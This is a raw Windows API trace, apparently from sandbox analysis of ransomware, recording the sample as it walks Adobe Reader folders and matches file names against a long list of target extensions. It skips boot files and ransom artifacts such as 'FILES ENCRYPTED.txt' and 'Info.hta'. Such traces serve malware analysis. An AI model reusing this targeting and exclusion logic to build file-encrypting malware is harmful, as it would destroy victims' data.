	[0169.337] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1
	[0169.337] lstrlenW (lpString=".j2c") returned 4
	[0169.337] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1
	[0169.337] lstrlenW (lpString=".j2k") returned 4
	[0169.337] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1
	[0169.338] lstrlenW (lpString=".java") returned 5
	[0169.338] lstrcmpiW (lpString1=".java", lpString2="n.png") returned -1
	[0169.338] lstrlenW (lpString=".jp2") returned 4
	[0169.338] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1
	[0169.338] lstrlenW (lpString=".jpc") returned 4
	[0169.338] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1
	[0169.338] lstrlenW (lpString=".jpe") returned 4
	[0169.338] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1
	[0169.338] lstrlenW (lpString=".jpeg") returned 5
	[0169.338] lstrcmpiW (lpString1=".jpeg", lpString2="n.png") returned -1
	[0169.338] lstrlenW (lpString=".jpf") returned 4
	[0169.338] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1
	[0169.338] lstrlenW (lpString=".jpg") returned 4
	[0169.338] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0169.338] lstrlenW (lpString=".jpx") returned 4
	[0169.338] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1
	[0169.338] lstrlenW (lpString=".js") returned 3
	[0169.338] lstrcmpiW (lpString1=".js", lpString2="png") returned -1
	[0169.338] lstrlenW (lpString=".jsf") returned 4
	[0169.338] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1
	[0169.338] lstrlenW (lpString=".json") returned 5
	[0169.338] lstrcmpiW (lpString1=".json", lpString2="n.png") returned -1
	[0169.338] lstrlenW (lpString=".jsp") returned 4
	[0169.338] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1
	[0169.338] lstrlenW (lpString=".kdc") returned 4
	[0169.338] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1
	[0169.338] lstrlenW (lpString=".kmz") returned 4
	[0169.338] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1
	[0169.338] lstrlenW (lpString=".kwm") returned 4
	[0169.339] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".lasso") returned 6
	[0169.339] lstrcmpiW (lpString1=".lasso", lpString2="wn.png") returned -1
	[0169.339] lstrlenW (lpString=".lbi") returned 4
	[0169.339] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".lgf") returned 4
	[0169.339] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".lgp") returned 4
	[0169.339] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".log") returned 4
	[0169.339] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".m1v") returned 4
	[0169.339] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".m4a") returned 4
	[0169.339] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".m4v") returned 4
	[0169.339] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".max") returned 4
	[0169.339] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".md") returned 3
	[0169.339] lstrcmpiW (lpString1=".md", lpString2="png") returned -1
	[0169.339] lstrlenW (lpString=".mda") returned 4
	[0169.339] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".mdb") returned 4
	[0169.339] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".mde") returned 4
	[0169.339] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".mdf") returned 4
	[0169.339] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".mdw") returned 4
	[0169.339] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1
	[0169.339] lstrlenW (lpString=".mef") returned 4
	[0169.339] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".mft") returned 4
	[0169.340] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".mfw") returned 4
	[0169.340] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".mht") returned 4
	[0169.340] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".mhtml") returned 6
	[0169.340] lstrcmpiW (lpString1=".mhtml", lpString2="wn.png") returned -1
	[0169.340] lstrlenW (lpString=".mka") returned 4
	[0169.340] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".mkidx") returned 6
	[0169.340] lstrcmpiW (lpString1=".mkidx", lpString2="wn.png") returned -1
	[0169.340] lstrlenW (lpString=".mkv") returned 4
	[0169.340] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".mos") returned 4
	[0169.340] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".mov") returned 4
	[0169.340] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".mp3") returned 4
	[0169.340] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".mp4") returned 4
	[0169.340] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".mpeg") returned 5
	[0169.340] lstrcmpiW (lpString1=".mpeg", lpString2="n.png") returned -1
	[0169.340] lstrlenW (lpString=".mpg") returned 4
	[0169.340] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".mpv") returned 4
	[0169.340] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".mrw") returned 4
	[0169.340] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".msg") returned 4
	[0169.340] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".mxl") returned 4
	[0169.340] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1
	[0169.340] lstrlenW (lpString=".myd") returned 4
	[0169.341] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".myi") returned 4
	[0169.341] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".nef") returned 4
	[0169.341] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".nrw") returned 4
	[0169.341] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".obj") returned 4
	[0169.341] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".odb") returned 4
	[0169.341] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".odc") returned 4
	[0169.341] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".odm") returned 4
	[0169.341] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".odp") returned 4
	[0169.341] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".ods") returned 4
	[0169.341] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".oft") returned 4
	[0169.341] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".one") returned 4
	[0169.341] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".onepkg") returned 7
	[0169.341] lstrcmpiW (lpString1=".onepkg", lpString2="own.png") returned -1
	[0169.341] lstrlenW (lpString=".onetoc2") returned 8
	[0169.341] lstrcmpiW (lpString1=".onetoc2", lpString2="down.png") returned -1
	[0169.341] lstrlenW (lpString=".opt") returned 4
	[0169.341] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".oqy") returned 4
	[0169.341] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".orf") returned 4
	[0169.341] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1
	[0169.341] lstrlenW (lpString=".p12") returned 4
	[0169.342] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".p7b") returned 4
	[0169.342] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".p7c") returned 4
	[0169.342] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".pam") returned 4
	[0169.342] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".pbm") returned 4
	[0169.342] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".pct") returned 4
	[0169.342] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".pcx") returned 4
	[0169.342] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".pdd") returned 4
	[0169.342] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".pdf") returned 4
	[0169.342] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".pdp") returned 4
	[0169.342] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".pef") returned 4
	[0169.342] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".pem") returned 4
	[0169.342] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".pff") returned 4
	[0169.342] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".pfm") returned 4
	[0169.342] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".pfx") returned 4
	[0169.342] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".pgm") returned 4
	[0169.342] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".php") returned 4
	[0169.342] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1
	[0169.342] lstrlenW (lpString=".php3") returned 5
	[0169.343] lstrcmpiW (lpString1=".php3", lpString2="n.png") returned -1
	[0169.343] lstrlenW (lpString=".php4") returned 5
	[0169.343] lstrcmpiW (lpString1=".php4", lpString2="n.png") returned -1
	[0169.343] lstrlenW (lpString=".php5") returned 5
	[0169.343] lstrcmpiW (lpString1=".php5", lpString2="n.png") returned -1
	[0169.343] lstrlenW (lpString=".phtml") returned 6
	[0169.343] lstrcmpiW (lpString1=".phtml", lpString2="wn.png") returned -1
	[0169.343] lstrlenW (lpString=".pict") returned 5
	[0169.343] lstrcmpiW (lpString1=".pict", lpString2="n.png") returned -1
	[0169.343] lstrlenW (lpString=".pl") returned 3
	[0169.343] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1
	[0169.343] lstrlenW (lpString=".pls") returned 4
	[0169.343] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1
	[0169.343] lstrlenW (lpString=".pm") returned 3
	[0169.343] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1
	[0169.343] lstrlenW (lpString=".png") returned 4
	[0169.343] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0
	[0169.343] lstrlenW (lpString="arrow-down.png") returned 14
	[0169.343] lstrlenW (lpString=".GTF") returned 4
	[0169.343] lstrcmpiW (lpString1=".GTF", lpString2=".png") returned -1
	[0169.343] lstrlenW (lpString="arrow-down.png") returned 14
	[0169.343] lstrcmpiW (lpString1="boot.ini", lpString2="arrow-down.png") returned 1
	[0169.343] lstrcmpiW (lpString1="bootfont.bin", lpString2="arrow-down.png") returned 1
	[0169.343] lstrcmpiW (lpString1="ntldr", lpString2="arrow-down.png") returned 1
	[0169.343] lstrcmpiW (lpString1="ntdetect.com", lpString2="arrow-down.png") returned 1
	[0169.343] lstrcmpiW (lpString1="io.sys", lpString2="arrow-down.png") returned 1
	[0169.343] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="arrow-down.png") returned 1
	[0169.343] lstrcmpiW (lpString1="Info.hta", lpString2="arrow-down.png") returned 1
	[0169.343] lstrcmpiW (lpString1="fvppjh.exe", lpString2="arrow-down.png") returned 1
	[0169.343] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\arrow-down.png") returned 119
	[0169.343] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="arrow-left.png", cAlternateFileName="ARROW-~2.PNG")) returned 1
	[0169.344] lstrlenW (lpString="arrow-left.png") returned 14
	[0169.344] lstrlenW (lpString=".1cd") returned 4
	[0169.344] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0169.344] lstrlenW (lpString=".3ds") returned 4
	[0169.344] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1
	[0169.344] lstrlenW (lpString=".3fr") returned 4
	[0169.344] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1
	[0169.344] lstrlenW (lpString=".3g2") returned 4
	[0169.344] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1
	[0169.344] lstrlenW (lpString=".3gp") returned 4
	[0169.344] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1
	[0169.344] lstrlenW (lpString=".7z") returned 3
	[0169.344] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0169.344] lstrlenW (lpString=".accda") returned 6
	[0169.344] lstrcmpiW (lpString1=".accda", lpString2="ft.png") returned -1
	[0169.344] lstrlenW (lpString=".accdb") returned 6
	[0169.344] lstrcmpiW (lpString1=".accdb", lpString2="ft.png") returned -1
	[0169.344] lstrlenW (lpString=".accdc") returned 6
	[0169.344] lstrcmpiW (lpString1=".accdc", lpString2="ft.png") returned -1
	[0169.344] lstrlenW (lpString=".accde") returned 6
	[0169.344] lstrcmpiW (lpString1=".accde", lpString2="ft.png") returned -1
	[0169.344] lstrlenW (lpString=".accdt") returned 6
	[0169.344] lstrcmpiW (lpString1=".accdt", lpString2="ft.png") returned -1
	[0169.344] lstrlenW (lpString=".accdw") returned 6
	[0169.344] lstrcmpiW (lpString1=".accdw", lpString2="ft.png") returned -1
	[0169.344] lstrlenW (lpString=".adb") returned 4
	[0169.344] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1
	[0169.344] lstrlenW (lpString=".adp") returned 4
	[0169.344] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1
	[0169.344] lstrlenW (lpString=".ai") returned 3
	[0169.344] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1
	[0169.344] lstrlenW (lpString=".ai3") returned 4
	[0169.344] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1
	[0169.344] lstrlenW (lpString=".ai4") returned 4
	[0169.344] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1
	[0169.344] lstrlenW (lpString=".ai5") returned 4
	[0169.391] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0169.391] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0169.391] FindClose (in: hFindFile=0x4140e58 | out: hFindFile=0x4140e58) returned 1
	[0169.391] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0169.391] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1
	[0169.391] lstrlenW (lpString="vscroll-thumb.png") returned 17
	[0169.391] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0169.391] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 1
	[0169.641] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0169.643] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0169.643] FindClose (in: hFindFile=0x4140e58 | out: hFindFile=0x4140e58) returned 1
	[0169.643] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0169.643] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0169.643] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0169.643] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0169.643] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 0
	[0169.643] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0169.644] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0169.645] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1
	[0170.215] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0170.216] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0170.216] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0170.216] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0170.216] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0170.216] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0170.216] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0170.216] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0170.216] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0170.216] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0170.247] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0170.247] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0170.299] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0170.299] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1
	[0170.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0170.402] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0170.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0170.403] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0170.430] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
